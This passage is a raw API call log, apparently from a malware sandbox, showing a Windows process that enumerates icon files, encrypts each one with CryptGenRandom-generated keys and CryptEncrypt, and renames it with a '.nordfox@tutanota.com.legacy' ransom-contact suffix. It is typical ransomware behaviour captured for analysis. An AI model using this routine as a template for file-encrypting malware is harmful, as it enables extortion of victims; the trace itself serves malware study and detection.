lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0105.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0105.962] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0105.962] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0105.962] GetLastError () returned 0x0 [0105.962] SetLastError (dwErrCode=0x0) [0105.962] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0105.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0105.963] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0105.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0105.963] GetLastError () returned 0x0 [0105.963] SetLastError (dwErrCode=0x0) [0105.963] GetLastError () returned 0x0 [0105.963] SetLastError (dwErrCode=0x0) [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0105.963] GetLastError () returned 0x0 [0105.963] SetLastError (dwErrCode=0x0) [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0105.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.963] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0105.963] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0105.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0105.963] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0105.963] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\warn.ico", dwFileAttributes=0x80) returned 1 [0105.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0105.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.964] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0105.964] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0105.964] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10134) returned 1 [0105.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2796) returned 0x5c0f88 [0105.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2796) returned 0x5c3728 [0105.964] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x2796, lpOverlapped=0x0) returned 1 [0105.983] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-10134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.983] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c3728*, nNumberOfBytesToWrite=0x2796, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3728*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2796, lpOverlapped=0x0) returned 1 [0105.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3728 | out: hHeap=0x520000) returned 1 [0105.984] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2796 [0105.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.984] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.984] WriteFile (in: hFile=0x4f0, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.984] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.984] CloseHandle (hObject=0x4f0) returned 1 [0105.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0105.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0105.985] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\warn.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0105.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0105.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0105.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0105.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0105.987] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0105.987] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", dwFileAttributes=0x80) returned 1 [0105.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.987] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0105.987] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1150) returned 1 [0105.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c0f88 [0105.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c1410 [0105.987] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0105.989] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.989] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1410*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0105.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1410 | out: hHeap=0x520000) returned 1 [0105.989] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47e [0105.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.990] WriteFile (in: hFile=0x4f0, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.990] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.990] CloseHandle (hObject=0x4f0) returned 1 [0105.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0105.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0105.990] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0105.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0105.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0105.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0105.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0105.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0105.992] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0105.992] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", dwFileAttributes=0x80) returned 1 [0105.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.992] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.992] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0105.993] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1150) returned 1 [0105.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c0f88 [0105.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c1410 [0105.993] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0106.005] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.005] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1410*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0106.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1410 | out: hHeap=0x520000) returned 1 [0106.005] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47e [0106.005] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.006] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.006] WriteFile (in: hFile=0x4f0, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.006] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.006] CloseHandle (hObject=0x4f0) returned 1 [0106.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0106.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0106.006] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0106.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0106.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0106.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0106.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0106.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0106.008] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d140 | out: pbBuffer=0x54d140) returned 1 [0106.008] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\stop.ico", dwFileAttributes=0x80) returned 1 [0106.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0106.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0106.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0106.009] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.009] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=10134) returned 1 [0106.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2796) returned 0x5c0f88 [0106.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2796) returned 0x5c3728 [0106.010] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x2796, lpOverlapped=0x0) returned 1 [0106.011] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-10134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.011] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c3728*, nNumberOfBytesToWrite=0x2796, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3728*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2796, lpOverlapped=0x0) returned 1 [0106.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3728 | out: hHeap=0x520000) returned 1 [0106.012] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2796 [0106.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.012] WriteFile (in: hFile=0x4f0, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.012] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d140*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.012] CloseHandle (hObject=0x4f0) returned 1 [0106.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0106.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0106.013] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\stop.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0106.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0106.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0106.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0106.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0106.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0106.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0106.018] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0106.018] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico", dwFileAttributes=0x80) returned 1 [0106.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0106.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0106.018] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.018] GetFileSizeEx (in: hFile=0x4f0, 